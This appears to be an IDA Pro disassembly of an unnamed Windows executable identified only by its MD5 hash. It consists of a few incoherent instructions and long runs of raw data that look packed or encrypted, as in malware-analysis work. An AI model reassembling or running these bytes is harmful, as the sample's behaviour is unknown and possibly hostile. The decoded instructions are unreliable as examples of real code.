;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	1FA222A7D334828D2E3C0E504BDDDCA7

; ---------------------------------------------------------------------------
; File Name   :	u:\work\1fa222a7d334828d2e3c0e504bdddca7_orig.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00007000 (  28672.)
; Section size in file		: 00003200 (  12800.)
; Offset to raw	data for section: 00000400
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		mov	eax, ds:4070C01Ch
		sbb	eax, 43FD4769h
		add	eax, [eax]
		add	eax, 0E0279EC3h
		mov	ds:0E8C110A0h, eax
		push	cs
		adc	ds:11C7FFFh, ah
		retn
; ---------------------------------------------------------------------------
		dw 448Bh
		dd 12570424h, 90EC81A0h, 8D22CD01h, 6850C020h, 0FF1583F3h
		dd 14510415h, 16C4812Eh
		db 0, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	dword ptr [edx]
		jnz	short near ptr loc_40104D+2
		sub	dh, [eax]
		movsx	ecx, al


loc_40104D:				; CODE XREF: .text:00401045j
		mov	[ebp+eax*2-3Ah], edi
		or	al, 55h
		or	cl, [eax]
		and	[ebp+0Bh], dh
		push	cs
		cld
		test	ecx, ecx
		mov	eax, 27D4F18h
		cmp	eax, 0FFB3C803h
		or	eax, 27D2B2F8h	; CODE XREF: .text:0040108Ej
		rol	ah, 1
		test	byte ptr [eax-10h], 6Ah
		add	[ebx+587F0DF9h], eax
		jnz	short near ptr loc_401084+1
		xor	al, 0D1h
		inc	ecx
		mov	esp, 3B3D0330h
		lock jz	short loc_4010BB


loc_401084:				; CODE XREF: .text:00401077j
		cmp	ah, [edx+ecx]
		popf
		xor	al, [ecx-7C9753A5h]
		jnz	short near ptr loc_401066+1
		sar	bh, 1
		movd	dword ptr [edi], mm4
		mov	dword ptr [edx], 242C7C20h
		rol	byte ptr [eax+edi*2-395705F8h],	11h
		jz	short loc_4010B5
		and	[ebp-57h], dl
		and	dl, [ecx+278FE20h]
		add	dh, [edx]
		rcr	byte ptr [edi+5Eh], 5Dh
		xchg	eax, edx


loc_4010B5:				; CODE XREF: .text:004010A3j
		lea	ecx, [eax]
		lodsd
		jo	short near ptr loc_4010CB+3
		push	ebx


loc_4010BB:				; CODE XREF: .text:00401081j
		xchg	eax, esp
		adc	al, 8Dh
		test	[ecx+4C680267h], ebp
		aas
		push	eax
		mov	eax, ds:85102C9Dh


loc_4010CB:				; CODE XREF: .text:004010B8j
		sal	byte ptr [ebp+52h], 42h
		push	ss
		and	edi, fs:[eax]
		inc	eax
		mov	edi, eax
		xor	esi, esi
		cmp	ebx, [esi]
; ---------------------------------------------------------------------------
		dw 74FEh
		dd 0C47032Dh, 26BB3039h, 0FF0604F8h, 4234BDEFh,	0E853D806h
		dd 84F27205h, 7559C00Ch, 39833F15h, 3C9804C6h, 0EBDCD006h
		dd 5D07037Eh, 74DB8508h, 5A35377h, 436A8368h, 1810FB54h
		dd 5B804050h, 3981C952h, 0FC103383h, 458DA16Ah,	0C0F2DF46h
		dd 839B128Bh, 66330CC4h, 81021EC7h, 3E23BD68h, 6FC91C22h
		dd 0F22A0666h, 0D0013141h, 0FB6AF410h, 0C7F86021h, 8106B410h
		dd 0D9535B1Ch, 205A9102h, 83F08B06h, 45062FEh, 1D50EBE4h
		dd 50321057h, 23243056h, 4CC5F883h, 281DDBFAh, 0A4C38A88h
		dd 8BF98082h, 0C243A7Ch, 238FFFA4h, 9740939h, 17756E00h
		dd 0E2A03F80h, 0F8AC5719h, 7D909A3h, 0CF0CDD8Bh, 0D4304022h
		dd 507E0686h, 0F4C3BFC6h, 0EFC44905h, 0A802BC41h, 2BD99310h
		dd 54250AAh, 1A57533Fh,	770D308Ch, 2920BB29h, 0FB03A910h
		dd 3A203D8Bh, 2366591Fh, 0D7193814h, 536F0CBBh,	0F1281A56h
		dd 1C6123B2h, 5E5B5F21h, 3C119A26h, 33570903h, 0CC1E1BDBh
		dd 0FE841D8Ah, 53247A03h, 1A96DA1Ch, 641EF84Ch,	1A82075Ch
		dd 35A40E9h, 101D9374h,	840FB057h, 0DFE9289h, 0FD13E856h
		dd 1CC9054Ah, 15FED0FBh, 24E4C868h, 12C8B350h, 14385948h
		dd 9D0D56CDh, 303536F0h, 0C4268460h, 0F06728FCh, 26CA0D4Ah
		dd 0FB908321h, 411C24h,	8D532476h, 17A23584h, 11728D08h
		dd 29274218h, 0CC242646h, 0DC725903h, 0D433DD68h, 0B389042Ch
		dd 8A575E01h, 2A5F26A8h, 440911CAh, 1AAB9A07h, 0CC70594h
		dd 0FE509664h, 68C409C9h, 804D2828h, 339924EAh,	0C095C9FEh
		dd 8A0FA2FDh, 88EC0D54h, 20708032h, 0D8404138h,	7C28032Eh
		dd 10606AEEh, 4FF4C34h,	4063E468h, 681343CCh, 0C387837Bh
		dd 3AC6E0D1h, 67E6FC52h, 0ED6A7C0Eh, 0C3163ECDh, 96A0545h
		dd 25643B68h, 0CFB25032h, 437B451Ah, 4284036h, 0D01FE01Ah
		dd 0FEDB88E0h, 52879E24h, 3CA6224Fh, 48090436h,	0CEFF4144h
		dd 652C7925h, 6ECBAA2Ch, 3BD8126Ah, 0C48E08DFh,	11349A4h
		dd 0D989D76Ch, 14AB3246h, 0B241DCDh, 64C82ECh, 0EE130392h
		dd 5404438Bh, 0A9D75708h, 0C9F01A0Ch, 3496F4C2h, 36EC18CBh
		dd 6B740908h, 84121D8Bh, 4894C85h, 0D161CC4Ch, 40D3FFC9h
		dd 0BF575219h, 0BFBA06F8h, 1ABC8537h, 8B6698EFh, 0ED144535h
		dd 0A8E734D6h, 62582BA0h, 2D22C5B3h, 296A252Bh,	254829B4h
		dd 630442DEh, 33F5EF1Ch, 0AF418960h, 0CC461F29h, 5F1FECB5h
		dd 660F4B8h, 20680C25h,	0ABD3936Ah, 46100EC1h, 0E3CD4F2Fh
		dd 50042657h, 30B95805h, 0A8C4B842h, 1682D7B2h,	0EC3CA1BBh
		dd 0ECEB8150h, 8C16CEEFh, 9B44CF3h, 0ED0724A9h,	92B4478Ch
		dd 0A224952h, 0B410153Ch, 6C31ECF2h, 59B4211Eh,	0B4230F6Bh
		dd 897C30CFh, 92224A3Fh, 83FA0A28h, 0D269489Ch,	358EDE67h
		dd 42163A99h, 92D96A04h, 60AB04D1h, 8B0A2611h, 0B9E00C5Dh
		dd 7401FB86h, 2750A65h,	0D0686009h, 0DCB71007h,	90DB83F0h
		dd 861D145Dh, 556134BEh, 0C98B7056h, 0B328F17Ch, 19EC5187h
		dd 360A8CFEh, 7FF85298h, 3CDB6BC1h, 6810DC8Bh, 85355492h
		dd 2E903188h, 28BFCE07h, 20600DACh, 5752D348h, 6A57D861h
		dd 2C2ECE04h, 42FB76F0h, 46925333h, 3C217934h, 82E68DBh
		dd 6809DE60h, 13A92834h, 53126451h, 40578194h, 0DE701039h
		dd 321695B4h, 9422B7CEh, 9688920Dh, 0CF3B0FD1h,	0A546EC7Ch
		dd 90E12744h, 0BE82450Eh, 0AE901C52h, 7FC5763Ch, 0AB65316Ah
		dd 9714B491h, 0A00F6604h, 29E1187Bh, 7D89E01Ch,	215FB0FCh
		dd 0DCC40275h, 23657329h, 33E084DEh, 0E467A4DBh, 0DC1A3287h
		dd 2EC64D53h, 443E988Fh, 66B15318h, 0A9D642CCh,	5311111Dh
		dd 226A66BBh, 0B92D3ACh, 6A193DB7h, 0FC291ED7h,	90E09531h
		dd 0A02D6A2Bh, 6ED75918h, 0B72962E4h, 24652617h, 0C0830684h
		dd 36FF2C04h, 2EA577F0h, 0B9578914h, 48C468C9h,	1454A764h
		dd 0A0BC7D63h, 29B45384h, 135C3AC8h, 0D0C7D83h,	200D63A3h
		dd 6A315DA4h, 0E0F8367Ch, 65DC0B04h, 0B2937116h, 0B107D008h
		dd 32E17418h, 63369286h, 0E9443222h, 2EBAD83Bh,	81246984h
		dd 14EDEFE1h, 865D4924h, 0A1490CD0h, 0B63E0A14h, 2977F056h
		dd 425D666Ch, 5A22B7ECh, 76A4181Bh, 706A0985h, 0B4420BB3h
		dd 0C880C42Bh, 310A5E44h, 3D0A9784h, 1188D368h,	4C10A248h
		dd 923CE267h, 0FC81236Dh, 52665210h, 8B3B74C4h,	0FDC8628h
		dd 85708484h, 394B3F27h, 0E72BACECh, 33E402CBh,	0A0EC5BC0h
		dd 98567977h, 0C9889475h, 78031190h, 1765967h, 92607542h
		dd 0B8A48914h, 1CEB1641h, 0CFC08559h, 37F60C74h, 107E2670h
		dd 232DEB29h, 1A84490h,	4CEBF08Eh, 0C43F90Ah, 0C5490843h
		dd 67F80941h, 845E5359h, 0C25D248h, 85939B2Bh, 1027145Ah
		dd 94101A8Ch, 50C94EA6h, 12E1AF4Ch, 94C8D15Dh, 3D1A3E24h
		dd 3D702F9Dh, 83120E98h, 1E05E44Dh, 0D21C5024h,	88F65FAh
		dd 89971D4Dh, 682083DDh, 0F0954EBh, 428B5891h, 0BCF05E2Bh
		dd 535B08A0h, 0CC122D16h, 3154744h, 0C69F1817h,	52BAD035h
		dd 646F3D9Eh, 49345118h, 46015313h, 6C087D8Bh, 8470945Eh
		dd 680EFB1Ch, 882C0409h, 46B11532h, 5A48005h, 14891412h
		dd 937C1E08h, 81AC50Ah,	4253D45Dh, 48490DAEh, 31670E14h
		dd 465E74C8h, 0E4639FD8h, 0C5026D6Ch, 663966C1h, 45503720h
		dd 1801DEBBh, 68A1660Bh, 8D4C53ACh, 0B068DFCh, 6B17121Ah
		dd 0D88B8143h, 2FE0FD33h, 4D8F730h, 5D0E5B7Dh, 5986401Ch
		dd 0C8BD4489h, 0A7521C4h, 0BDF14528h, 0F427F1Eh, 801ECC9h
		dd 475F066Ah, 49157E4Eh, 42594719h, 9812D306h, 7909B47Ch
		dd 0E82806D4h, 12A06036h, 8E7C1D0h, 3CC0CC7h, 0C802ECF4h
		dd 26715C68h, 0DC2218E5h, 1CFB34E0h, 54478E2Dh,	0E81B27CBh
		dd 35E45029h, 9966B2CFh, 12B80DDh, 3781A3D0h, 6E58DB5Ah
		dd 7E205C11h, 0FCDBE1BCh, 5B465709h, 12AA86B9h,	5D25DA73h
		dd 0D88D30DCh, 0F9FB4183h, 419A03F4h, 72203C7Dh, 59C6BC53h
		dd 31CCF209h, 0A07FEB2Ah, 0A4FCF748h, 38159145h, 9B14D150h
		dd 341E22DDh, 0A1B663DBh, 8C965474h, 4CCECDFEh,	1D338B87h
		dd 8E593930h, 49FCD22Dh, 0ADEBF8A1h, 801B71CFh,	7786F365h
		dd 0F42B2FD9h, 2071CE44h, 4BADDEEBh, 0E238A29Ah, 59690B02h
		dd 0A9A2CC47h, 411ADC0Dh, 0EBF7240Dh, 0C8423649h, 4B74D94Ch
		dd 3A1829C2h, 8347A17Ah, 0FC0F07Dh, 1A1B5E8Fh, 20CD8F8Ch
		dd 0A004C20Bh, 8247419h, 0F2B9857h, 203C068Ah, 901FA5Fh
		dd 0EB460375h, 434B68F3h, 60FB28DBh, 0E1C0D60h,	74BF048Dh
		dd 417C0146h, 8BE5EBD0h, 0A576A6C7h, 335614C0h,	0BE5774F6h
		dd 5F08F812h, 475EB2C8h, 0B203D568h, 3DA3B556h,	7519573Dh
		dd 6D0828F0h, 6A0E8240h, 0CBE4905h, 239F9022h, 3956B78Eh
		dd 8D101017h, 0F4EDFC4Dh, 59206850h, 2628D91Bh,	6A02EE3Ch
		dd 2CF0EC19h, 8EFDAEBh,	5596045Ch, 15FCE458h, 8C504C48h
		dd 9DA044C8h, 0A4388895h, 0E089283Fh, 0FC241C64h, 0C4C63B44h
		dd 0E03973F9h, 99343D2Fh, 0B545981h, 0E8CC47ADh, 8961C406h
		dd 0EE3B1022h, 0E840712Eh, 0F886BF39h, 2BC4047Dh, 0E7C83D8Bh
		dd 0DBA495BEh, 0E8F8C8BBh, 721E324Bh, 59991F00h, 1983F9F7h
		dd 0A07E0FFAh, 8104F22h, 0BF12E823h, 1ECE8B19h,	4A07ED52h
		dd 0EFFC100Bh, 0F71AEBA1h, 0B50D77E5h, 8C0B77E4h, 550518E6h
		dd 0D2E82CEBh, 85C71D28h
		dd 0BBCA9BDh, 122DB144h, 2A5828C6h, 6E85D759h, 16C99217h
		dd 0E808D61Dh, 1F164A0Bh, 14CFE4F3h, 564C1D4Fh,	0B03C4EC4h
		dd 1FC94002h, 81F5BE6Ch, 65378412h, 1F1B1819h, 0B29EB20h
		dd 2D270F78h, 143343A1h, 7A8B4024h, 0C40FE468h,	5171199Ah
		dd 0A95420C8h, 519945Ch, 0EB092325h, 4F499332h,	0E90EE76h
		dd 78FD640Ah, 7F29488Bh, 0E2BC9E94h, 40961123h,	1204C7B2h
		dd 626BEC24h, 0C2C50E6h, 0B73D884Ch, 668A497h, 48EB58C8h
		dd 3C2C81CFh, 18FC6536h, 0C0684CEAh, 0D72D1E54h, 0DB80BB2Ch
		dd 1404F865h, 82671F4Bh, 0D661EE75h, 895915Bh, 4723384Bh
		dd 205A8178h, 0E57ED106h, 0D9E46E56h, 0BDE988AAh, 0F43A54ECh
		dd 22C24A8Bh, 56222442h, 971544BEh, 0F7DCCD02h,	123CB70Fh
		dd 10FB51DCh, 0B55C1C90h, 801DFEA3h, 1BDB99BCh,	1363205Ch
		dd 681217A4h, 44296C50h, 8D301D61h, 30148AC8h, 7D8028C6h
		dd 7430C5CCh, 50142516h, 0B5996B50h, 0BEE35858h, 4402051h
		dd 80E0F0A7h, 6F8D21B2h, 0EE9599Dh, 52B882A6h, 0FE224B5Eh
		dd 0B8077B04h, 1431F852h, 0A801BF87h, 6DCE6683h, 868860Ah
		dd 210C8C23h, 0E1696BFCh, 40385F0Eh, 0F01CC29h,	0CCE548Bh
		dd 4804C8Eh, 4774D285h,	8A2E7790h, 0CDBF2244h, 720403D1h
		dd 0B8D9F72Dh, 0FE7403E1h, 88D1002Bh, 75494707h, 0C81F8BFAh
		dd 35DE0C1h, 10440728h,	0E28330CAh, 7402E90Ch, 0ABF3061Bh
		dd 4549B677h, 5F7F934Ah, 5F46D5B2h, 0F75CA077h,	0D0034EC1h
		dd 18A1450h, 0C084411Dh, 830F40D4h, 5805F175h, 1074B0Dh
		dd 10FEFFBAh, 83D0037Eh, 333A34B0h, 4C189C2h, 20AE8EA9h
		dd 8BE87481h, 59FC6741h, 86E44532h, 0E683241Eh,	0F137C36h
		dd 0F02FC10h, 418DCDEBh, 2B0C56F4h, 0FE14C3C1h,	0B2FD9085h
		dd 801A3AFCh, 0A157E5A5h, 4DE40112h, 7DFC3810h,	3D1B9A0h
		dd 0FE3BC60Fh, 0F8025D76h, 4878820Fh, 0A6C7F72Eh, 0CC14558Dh
		dd 0F930D217h, 3297208h, 24FFA5F3h, 0D19DC895h,	41BAC7E7h
		dd 20E9831Dh, 0E0EA0C0Eh, 9DC8F1F7h, 23D08530h,	0D88D0E63h
		dd 11903F32h, 9BF0115Ch, 0DE131C29h, 49D1F609h,	3A740D8Ah
		dd 47B90146h, 0AF020CE6h, 0C6B412D9h, 5DA4C702h, 528D2CCCh
		dd 26912C49h, 1EB48376h, 0B2A61061h, 46249190h,	1A474594h
		dd 0C6408C29h, 0AC640FBFh, 9C48A409h, 8C229491h, 8A7C8444h
		dd 0E48E8982h, 0D38FE0E1h, 0E9E81122h, 912EEC12h, 12E9F022h
		dd 22912EF4h, 0FC12E9F8h, 48D872Eh, 39B1029h, 91F8E4F0h
		dd 0F1144F0Ah, 0EC09E08Ch, 425838Bh, 5E084525h,	9046C25Fh
		dd 0C1C9E92h, 1286FA8Ch, 0EB6A48Ah, 2C300BAAh, 3163748Dh
		dd 0A4397CD0h, 8724809Ch, 0E4FD0D0Ah, 60F1FC18h, 86908426h
		dd 0EE1066A9h, 9094F09Ah, 2B21F946h, 62256808h,	78262660h
		dd 9986419h, 3DC59C0h, 0E0BA3B21h, 4FB34EB2h, 3DB65784h
		dd 0A92098A3h, 6EEC6A4h, 0CA7EEF48h, 90592A8Ch,	4B6A284Bh
		dd 42EE71ACh, 0AF92EFACh, 385A4641h, 8C5C466Ch,	0C81C0F14h
		dd 2C912409h, 3C443422h, 15578944h, 0BA1C6848h,	5D181164h
		dd 0D2144522h, 225D1024h, 24D20C45h, 45225D08h,	984FD204h
		dd 7019202Bh, 991780Dh,	0A59C2288h, 8AB8A08Ch, 8A889EB6h
		dd 8784BC10h, 65B82B14h, 510128CCh, 0AABE3D70h,	52148D16h
		dd 81141218h, 0CD26F980h, 8511A12Dh, 7318A2EAh,	8B8540ECh
		dd 1D1ADDC4h, 5CA6A8E1h, 0C32C9040h, 42004BF0h,	118A5653h
		dd 102202B5h, 691AE184h, 0EE0171E8h, 0FE4FEEF6h, 1235D6F7h
		dd 38CA0702h, 9215D5D0h, 19620BDAh, 10A0B04h, 5B5EF575h
		dd 0C328F228h, 0FF07D11h, 0FF7E8DEBh, 93026145h, 224D28F8h
		dd 0E0380712h, 4193C475h, 18653B03h, 1BFF6697h,	0DFD02320h
		dd 60D8B1EBh, 0A8C28A6Bh, 1A811A91h, 1BFF478Dh,	0A7C777C1h
		dd 20B0180Dh, 6F3B153h,	4E086A57h, 7D8D590Bh, 4CA38FE0h
		dd 5165A07h, 0B60F01B3h, 2302C1CAh, 3E8CCCFh, 8DE3D205h
		dd 0D0C10544h, 0A3404618h, 798BE575h, 1A07B755h, 0CC157206h
		dd 8A1AE9D0h, 60516A02h, 0C25BCE1Ch, 0C1E3D352h, 4C8AE840h
		dd 84E03502h, 0AF0774D9h, 0EB428783h, 65DA8BB3h, 5B1E1744h
		dd 4A0A5624h, 26E0D358h, 22750ACFh, 1D22800Eh, 5FC38B80h
		dd 55EC22Bh, 0C01BD8F7h, 23564289h, 574C5BC3h, 83A20B5h
		dd 0B08D6AEBh, 0ACFEB1B4h, 0A65764CAh, 100F2321h, 1CDEA53Bh
		dd 1A9123C8h, 79710E88h, 3D0DABFFh, 820FE0Ah, 341FD7Fh
		dd 0A60C0D74h, 96194860h, 293C06Ah, 47178864h, 0EBEE6398h
		dd 0DC89053Eh, 68042A75h, 0DE6ADED0h, 0CC6C1155h, 923461E1h
		dd 0F72715C0h, 12346AC2h, 0C76B3310h, 0CAEF725Ch, 0C6440966h
		dd 0D0A44C7h, 0A68812ECh, 3D830A08h, 1FF6E7Ch, 68117E01h
		dd 398DD607h, 0E852828h, 3259371Bh, 0DD027C9h, 1EA59670h
		dd 418BFC66h, 0E97B0725h, 4D826A13h, 0A8A60E51h, 64370A35h
		dd 0FD0FDBA1h, 82589CAh, 5840D828h, 0B65F857h, 0D415FFE8h
		dd 8AD2F648h, 0F4D2F7EFh, 0C88B5D48h, 2FE1812Dh, 0F00DC6A8h
		dd 19C17C1Dh, 16CA0308h, 39E808ECh, 11E2A310h, 3A56F633h
		dd 0E06D2489h, 31087596h, 1A191C6Ah, 0ED89F144h, 22138CFCh
		dd 88D09CC2h, 78FFF8A3h, 9021874Eh, 0A70EAAFh, 0B431F8Ch
		dd 1B8A441Eh, 0D058AC60h, 9CA4458Dh, 40CC11B0h,	897F3217h
		dd 81F69C39h, 67401D0h,	0D4E9B70Fh, 0A4B062Ah, 75273C58h
		dd 0C8CFA59Ch, 102812A6h, 62F2B69Eh, 57C1D91Bh,	92064ECh
		dd 984D8914h, 1C2362DBh, 23FF92AEh, 0F29875C8h,	24F7AACBh
		dd 0BF70D808h, 26390531h, 424247Bh, 0F4B4CA8Bh,	60A04C57h
		dd 724A6C5Fh, 537625C3h, 0D8342659h, 8D6188EDh,	5B78427Ch
		dd 34BE5E9Bh, 0D4B30E64h, 0D88B5309h, 0EC58BEC2h, 23C021F5h
		dd 8A13020Bh, 6038420Ah, 7B84D1D5h, 135152C9h, 0BED7504h
		dd 0C39DC0D8h, 1037E3C1h, 0A821256h, 0FD1266BFh, 5D33B760h
		dd 0F90470CBh, 0C8FFF183h, 0C6FCCF1Bh, 448C2F4h, 821C486Eh
		dd 66251C75h, 7D35123h,	0D3089803h, 808D2CE6h, 16412CAEh
		dd 8BCE405Bh, 0D838FC42h, 0A8367426h, 0DC13EF9Eh, 0AC493F12h
		dd 268E2DE7h, 0DC32FD33h, 392A0627h, 335C961Ah,	40FEABB2h
		dd 8CFD0770h, 565AFC42h, 99925F63h, 79F9CC48h, 0C7713A1h
		dd 73123065h, 52EB3004h, 67A8F685h, 94C10F40h, 0D1B60386h
		dd 1F844F6h, 0BB05E80h,	0FE7065E8h, 0FC4D881Ch,	6AFD45C4h
		dd 7709A5C3h, 0EBDF831Ch, 4D8D8060h, 3F580A5Ah,	95505104h
		dd 45E4F593h, 68BC0728h, 85027585h, 0AC7479Ch, 120C3623h
		dd 0DEF4A13Fh, 402BD88h, 1068D0FFh, 889D260h, 1C633CD4h
		dd 8E04FA94h, 76A6100Fh, 50C31028h, 120C8BA9h, 3CB4DE1Bh
		dd 8D011150h, 5FF200ADh, 63243D39h, 11756A71h, 940B335Fh
		dd 44B9E6E0h, 89BD83DCh, 76C07046h, 89140C5Ch, 8847203Dh
		dd 291C1D28h, 0F0A13C15h, 0F0228A84h, 5615EC18h, 0FC71038Dh
		dd 1372F03Bh, 98B006F2h, 47FEE83h, 73233550h, 685EED0Ah
		dd 14449518h, 0F1292129h, 0A8114720h, 14DB8570h, 7B10755Bh
		dd 0A4878929h, 9989C92Bh, 3B150E51h, 0D7315ABh,	4C6C158h
		dd 232AEDEBh, 75EA53F3h, 1D25A8C4h, 44B8C4EFh, 58258B20h
		dd 1597C908h, 0FB831781h, 0D40C7505h, 2BB70860h, 1D818361h
		dd 0CB2279ECh, 0CF90F634h, 0C5D2280Dh, 6A1CE712h, 0CAA0CDDh
		dd 44E48F2h, 0C8852545h
		dd 6F181E5Ch, 0C0041525h, 56D1030Dh, 7D7BCA3Bh,	49348D0Fh
		dd 0B50A582Bh, 3024BA90h, 0C6062683h, 752D4A0Ch, 358AE1F7h
		dd 3D4919E3h, 8AC0688Eh, 0D05C7D4h, 0EB838318h,	903D2970h
		dd 20816413h, 87913D5Dh, 4A828490h, 421E933Dh, 3D370885h
		dd 882798Dh, 8F3D2124h,	112086E4h, 4684923Dh, 538A220Ah
		dd 6A2D89FFh, 2FC294E2h, 5EE70B2Eh, 46FBDAEBh, 9B922551h
		dd 4EE4A352h, 223A9B89h, 5B22E4D8h, 54FC615Dh, 830DA72h
		dd 8815395Fh, 0B856DAA8h, 497406A1h, 0C8EC17EEh, 3B0CC040h
		dd 47301C6h, 0F5751039h, 5E49E88Dh, 16A808DDh, 13C13B28h
		dd 3F6A8AA2h, 7FA2EE62h, 0EEC6AE5Eh, 0E9562D26h, 58499FACh
		dd 4E2277B9h, 0B4AA1C25h, 1148CC10h, 72EBF898h,	0CB293A62h
		dd 46E6BE90h, 80E319EBh, 810D443Eh, 203C0A10h, 76FF0676h
		dd 0FA77361Ah, 461536Ah, 0C68BE921h, 653DC20h, 1D39DB33h
		dd 562999E8h, 0B6B55C57h, 402EF089h, 74C33A16h,	3D743C12h
		dd 56470116h, 0A44CA3F6h, 0ECEB7B7Ch, 0B7BD7204h, 0A12DB830h
		dd 59F08B04h, 0A81F33Bh, 0C2057104h, 1F110949h,	0A13D0820h
		dd 74E43842h, 57552A39h, 0C8B763Ah, 3F804559h, 55542294h
		dd 0C3483B35h, 2F06293Dh, 36FF5741h, 994C273Ah,	3A66FAFh
		dd 751270FDh, 68175DC9h, 722D7561h, 0C1D5894h, 5F1E1276h
		dd 0E4880A5Eh, 0FD019AAAh, 4BE30CCCh, 2CBE85BEh, 991B8B53h
		dd 5453DA49h, 89A164B6h, 14A3022Ah, 38FE8B20h, 0EC4E9018h
		dd 2F8995F8h, 0C653F499h, 0DC1FA090h, 0B208B69h, 88E641A1h
		dd 0C44AD54Ah, 0A2D71148h, 308C8C72h, 864B50D9h, 365956EDh
		dd 14501BFBh, 50BDB648h, 0A31A9D9Fh, 787E0FF8h,	0C0189A6Ch
		dd 5653143Ah, 0E6D32183h, 0E9576B0Fh, 0B655887Dh, 85212569h
		dd 78C27984h, 0EB627037h, 38802A89h, 8A449C00h,	40790150h
		dd 27BFFA48h, 25590429h, 0F652BF87h, 3EF54382h,	3E4C0490h
		dd 2485011Fh, 108A0071h, 40461688h, 0CD50CA9h, 0DCE54EBh
		dd 1E805804h, 1541A37Ch, 1243EB3Ah, 0CC1F052Ah,	0DA8A400Ah
		dd 308D83FCh, 1E881834h, 20CD4667h, 375D09B4h, 0CC757212h
		dd 4803840Eh, 4B44BCC4h, 81C1FF66h, 70C31865h, 2288B79Eh
		dd 0A8AB4A8h, 1928052Ch, 52F1BE03h, 0BD28C818h,	7E558BD0h
		dd 0A2027A14h, 8CD812D1h, 25C4686h, 43400475h, 9390F7EBh
		dd 0C326F62Ch, 42249701h, 17D3909h, 78800D6Eh, 0A38D22F0h
		dd 8B3C06E4h, 7003EBC2h, 130D0849h, 1901D233h, 0C2940F18h
		dd 0D10C02FBh, 4BD38BEBh, 0E0A3056h, 0C6408943h, 0A0465C06h
		dd 2D754BB2h, 2AA38AF3h, 804A834Ah, 8B086DE1h, 3AAB8B3Fh
		dd 7B68204Ch, 19532E65h, 9306E33Ch, 121C2B20h, 3413C0Fh
		dd 0D5042DDBh, 0C82091D1h, 209A3122h, 42960F05h, 278303C8h
		dd 7F148F49h, 4CFC1010h, 0C4A48A1h, 6A7230A1h, 13BC9053h
		dd 2450B82Dh, 94D21C4Eh, 0A948C1F6h, 0D50A7532h, 0C410F62h
		dd 0A4177574h, 0EBC27C44h, 0BC596128h, 3B488114h, 0EA1820FBh
		dd 21C118Ah, 2227BF16h,	0C102E26Dh, 921481E1h, 40930C44h
		dd 16C25022h, 101E3966h, 4038EC74h, 751812E1h, 0F20748F9h
		dd 30C62B2Ch, 0D19FC018h, 0ED8F98F8h, 345E06A4h, 0B84E808h
		dd 0D7FF34h, 74EB3B36h,	0CD33B132h, 230B602Ah, 5C553AC9h
		dd 4DEDBDFAh, 25AA2844h, 26187B0Eh, 145C4628h, 0C1098B69h
		dd 0B117C473h, 4053EBC3h, 4C75028Ah, 8608A6A2h,	3C7470B2h
		dd 0C7F061B0h, 0DFFD0AECh, 5A0F87Dh, 0F3FD2BF6h, 9CED663h
		dd 1A0B870Bh, 0FCAB88CFh, 0BB6CEB1Fh, 0A4F65616h, 0EED8E54Ah
		dd 0EBC63E82h, 84578AEAh, 7EF45BF2h, 92444FECh,	12446879h
		dd 664A0AB1h, 1B913326h, 0E0160493h, 76191474h,	88207540h
		dd 2AA0868Dh, 7326F03Bh, 4106E1Ah, 0AC6B740h, 0A10A0546h
		dd 7A7A3E24h, 0EB1CA008h, 0E28D55E2h, 6689533Dh, 34420AC1h
		dd 0D08AC576h, 0EA46E518h, 16B94218h, 0DD0E8D30h, 4B080AB8h
		dd 2E1C063Dh, 28EE027Ch, 0D643539h, 0E4BF527Dh,	5D900E9Bh
		dd 83381501h, 7898180h,	7F54888Dh, 80181A80h, 8FFC860h
		dd 8B1E4010h, 8AC05E0Fh, 937DC181h, 4AD650E4h, 0D2BB7C87h
		dd 0AAB8B06h, 0F61F4558h, 313467Eh, 3836AAF4h, 267D4D8Ah
		dd 307F01C1h, 0B75080Ah, 16A0A6A9h, 0D17448C8h,	0CF01C739h
		dd 8305F8C1h, 45620E1h,	58D08552h, 0CC83D22h, 6108890Bh
		dd 0E487B88h, 0C3834547h, 7CFE3BA1h, 185131BAh,	0D80E3CEDh
		dd 81348DFFh, 0DB854D75h, 5C040120h, 6A05B581h,	5EB58F6h
		dd 0F548C389h, 0F58E031Ah, 5AA4B33Ah, 2B745098h, 8B675717h
		dd 0D064250Ch, 82D13E48h, 0C24E8006h, 3DEB436Bh, 0AA20316h
		dd 0BCFD087Bh, 8343800Dh, 9B7C03FBh, 0C8B9A6FFh, 0AAA9A86Eh
		dd 4424BE28h, 6A1CB4C3h, 0F4823916h, 0A6A15468h, 0C9653F77h
		dd 0A3564298h, 865A74C8h, 0D62E2FA9h, 3F0F7503h, 2242C87Ah
		dd 0C36AC99Ch, 0E8A4CEC3h, 65C79630h, 68D9E869h, 323469C8h
		dd 3D1609C6h, 3B445DA3h, 0F212E58Bh, 0A04139D0h, 5FB8E006h
		dd 0B5B52501h, 5F228E8h, 0B8028910h, 0DAC348B4h, 0DA80277Fh
		dd 0D068FE6Ah, 0CE6483CDh, 665E2DB8h, 204F35C4h, 70C94B1Dh
		dd 93F3760Ch, 1E80C72Eh, 220028C9h, 0B30C8B76h,	6B4896Bh
		dd 7A30486Eh, 27B2907Ch, 5511275h, 7ECA5C37h, 0FF812503h
		dd 0EB120454h, 0EC8F64C3h, 0A3519233h, 64E8448Dh, 100D8B28h
		dd 4798114h, 0E752C69h,	0A70E5117h, 0D2396E52h,	9C05B20Ah
		dd 933D8B68h, 86851CBBh, 0C6097210h, 65C44D8Bh,	0C043064Bh
